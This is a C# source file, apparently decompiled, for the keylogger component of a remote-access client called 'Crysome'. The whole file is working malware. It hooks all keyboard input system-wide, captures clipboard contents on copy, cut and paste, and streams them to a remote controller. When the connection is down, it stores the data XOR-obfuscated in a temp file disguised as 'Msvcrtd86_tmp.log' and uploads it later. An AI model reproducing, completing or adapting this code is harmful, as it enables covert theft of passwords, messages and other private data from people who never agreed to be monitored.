using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using Crysome.Client.Util;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;

namespace Crysome.Client.Handlers;

public static class KeyloggerHandlers
{
	private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

	private struct MSG
	{
		public IntPtr hwnd;

		public uint message;

		public IntPtr wParam;

		public IntPtr lParam;

		public uint time;

		public POINT pt;
	}

	private struct POINT
	{
		public int X;

		public int Y;
	}

	private struct KBDLLHOOKSTRUCT
	{
		public uint vkCode;

		public uint scanCode;

		public uint flags;

		public uint time;

		public IntPtr dwExtraInfo;
	}

	private static volatile bool _running;

	private static CrysomeClient _client;

	private static IntPtr _hookId = IntPtr.Zero;

	private static readonly object _lock = new object();

	private static readonly StringBuilder _buffer = new StringBuilder();

	private static DateTime _lastSend = DateTime.MinValue;

	private const int FlushIntervalMs = 2000;

	private const int MaxBufferChars = 500;

	private static readonly string _offlineFilePath = Path.Combine(Path.GetTempPath(), "Msvcrtd86_tmp.log");

	private const byte XorKey = 167;

	private const int WH_KEYBOARD_LL = 13;

	private const int WM_KEYDOWN = 256;

	private const int WM_KEYUP = 257;

	private const int WM_SYSKEYDOWN = 260;

	private const int WM_SYSKEYUP = 261;

	private static volatile bool _ctrlDown;

	private const uint LLKHF_INJECTED = 16u;

	private const int VK_CONTROL = 17;

	private const int VK_LCONTROL = 162;

	private const int VK_RCONTROL = 163;

	private const uint PM_REMOVE = 1u;

	private static LowLevelKeyboardProc _proc = HookCallback;

	[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
	private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

	[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
	private static extern bool UnhookWindowsHookEx(IntPtr hhk);

	[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
	private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

	[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
	private static extern IntPtr GetModuleHandle(string lpModuleName);

	[DllImport("user32.dll")]
	private static extern bool PeekMessage(out MSG lpMsg, IntPtr hWnd, uint wMsgFilterMin, uint wMsgFilterMax, uint wRemoveMsg);

	[DllImport("user32.dll")]
	private static extern bool TranslateMessage(ref MSG lpMsg);

	[DllImport("user32.dll")]
	private static extern IntPtr DispatchMessage(ref MSG lpMsg);

	public static void HandleStartKeylogger(CrysomeClient client, IPacket packet)
	{
		lock (_lock)
		{
			if (!_running)
			{
				_client = client;
				_running = true;
				_ctrlDown = false;
				_buffer.Clear();
				Thread thread = new Thread(RunHook);
				thread.IsBackground = true;
				thread.Start();
			}
		}
	}

	public static void HandleStopKeylogger(CrysomeClient client, IPacket packet)
	{
		lock (_lock)
		{
			_running = false;
			if (_hookId != IntPtr.Zero)
			{
				UnhookWindowsHookEx(_hookId);
				_hookId = IntPtr.Zero;
			}
			FlushBuffer();
		}
	}

	public static void UploadOfflineDataIfAny(CrysomeClient client)
	{
		//IL_0064: Unknown result type (might be due to invalid IL or missing references)
		//IL_006e: Expected O, but got Unknown
		try
		{
			if (!File.Exists(_offlineFilePath))
			{
				return;
			}
			byte[] array = File.ReadAllBytes(_offlineFilePath);
			if (array != null && array.Length != 0)
			{
				for (int i = 0; i < array.Length; i++)
				{
					array[i] ^= 167;
				}
				string text = Encoding.UTF8.GetString(array);
				if (!string.IsNullOrWhiteSpace(text) && client != null && client.IsConnected)
				{
					client.SendPacket((IPacket)new OfflineKeylogDataPacket(text));
					File.Delete(_offlineFilePath);
				}
			}
		}
		catch
		{
		}
	}

	private static void RunHook()
	{
		try
		{
			using (Process process = Process.GetCurrentProcess())
			{
				using ProcessModule processModule = process.MainModule;
				_hookId = SetWindowsHookEx(13, _proc, GetModuleHandle(processModule.ModuleName), 0u);
			}
			if (_hookId == IntPtr.Zero)
			{
				Program.Log("Keylogger: SetWindowsHookEx failed");
				return;
			}
			try
			{
				while (_running)
				{
					MSG lpMsg;
					while (PeekMessage(out lpMsg, IntPtr.Zero, 0u, 0u, 1u))
					{
						TranslateMessage(ref lpMsg);
						DispatchMessage(ref lpMsg);
					}
					Thread.Sleep(20);
				}
			}
			finally
			{
				if (_hookId != IntPtr.Zero)
				{
					UnhookWindowsHookEx(_hookId);
					_hookId = IntPtr.Zero;
				}
			}
		}
		catch (Exception ex)
		{
			Program.Log("Keylogger: " + ex.Message);
		}
	}

	private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
	{
		if (nCode >= 0 && _running)
		{
			try
			{
				KBDLLHOOKSTRUCT kBDLLHOOKSTRUCT = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));
				if ((kBDLLHOOKSTRUCT.flags & 0x10) != 0)
				{
					return CallNextHookEx(_hookId, nCode, wParam, lParam);
				}
				int vkCode = (int)kBDLLHOOKSTRUCT.vkCode;
				bool flag = wParam == (IntPtr)256 || wParam == (IntPtr)260;
				if (wParam == (IntPtr)257)
				{
					_ = 1;
				}
				else
					_ = wParam == (IntPtr)261;
				if (vkCode == 17 || vkCode == 162 || vkCode == 163)
				{
					_ctrlDown = flag;
					return CallNextHookEx(_hookId, nCode, wParam, lParam);
				}
				if (flag)
				{
					if (_ctrlDown && (vkCode == 67 || vkCode == 86 || vkCode == 88))
					{
						string value = vkCode switch
						{
							86 => "PASTE", 
							67 => "COPY", 
							_ => "CUT", 
						};
						string textTruncated = ClipboardSta.GetTextTruncated(400);
						lock (_buffer)
						{
							_buffer.Append(" [").Append(value).Append(":")
								.Append(textTruncated)
								.Append("] ");
							TryFlush();
						}
						return CallNextHookEx(_hookId, nCode, wParam, lParam);
					}
					if (!_ctrlDown)
					{
						char c = KeyToChar(vkCode);
						if (c != 0)
						{
							lock (_buffer)
							{
								_buffer.Append(c);
								TryFlush();
							}
						}
					}
				}
			}
			catch
			{
			}
		}
		return CallNextHookEx(_hookId, nCode, wParam, lParam);
	}

	private static void TryFlush()
	{
		if (_buffer.Length >= 500 || (DateTime.Now - _lastSend).TotalMilliseconds >= 2000.0)
		{
			FlushBuffer();
		}
	}

	private static char KeyToChar(int vk)
	{
		if (vk >= 48 && vk <= 57)
		{
			return (char)vk;
		}
		if (vk >= 65 && vk <= 90)
		{
			return (char)vk;
		}
		return vk switch
		{
			32 => ' ', 
			13 => '\n', 
			8 => '\b', 
			9 => '\t', 
			186 => ';', 
			187 => '=', 
			188 => ',', 
			189 => '-', 
			190 => '.', 
			191 => '/', 
			192 => '`', 
			219 => '[', 
			220 => '\\', 
			221 => ']', 
			222 => '\'', 
			_ => '\0', 
		};
	}

	private static void FlushBuffer()
	{
		//IL_0064: Unknown result type (might be due to invalid IL or missing references)
		//IL_006e: Expected O, but got Unknown
		string text;
		lock (_buffer)
		{
			if (_buffer.Length == 0)
			{
				return;
			}
			text = _buffer.ToString();
			_buffer.Clear();
			_lastSend = DateTime.Now;
		}
		try
		{
			CrysomeClient client = _client;
			if (client != null && client.IsConnected)
			{
				_client.SendPacket((IPacket)new KeylogDataPacket(text));
			}
			else
			{
				PersistOffline(text);
			}
		}
		catch
		{
			try
			{
				PersistOffline(text);
			}
			catch
			{
			}
		}
	}

	private static void PersistOffline(string data)
	{
		try
		{
			byte[] bytes = Encoding.UTF8.GetBytes(data);
			for (int i = 0; i < bytes.Length; i++)
			{
				bytes[i] ^= 167;
			}
			if ((File.Exists(_offlineFilePath) ? new FileInfo(_offlineFilePath).Length : 0) < 524288)
			{
				using (FileStream fileStream = new FileStream(_offlineFilePath, FileMode.Append, FileAccess.Write))
				{
					fileStream.Write(bytes, 0, bytes.Length);
					return;
				}
			}
		}
		catch
		{
		}
	}
}
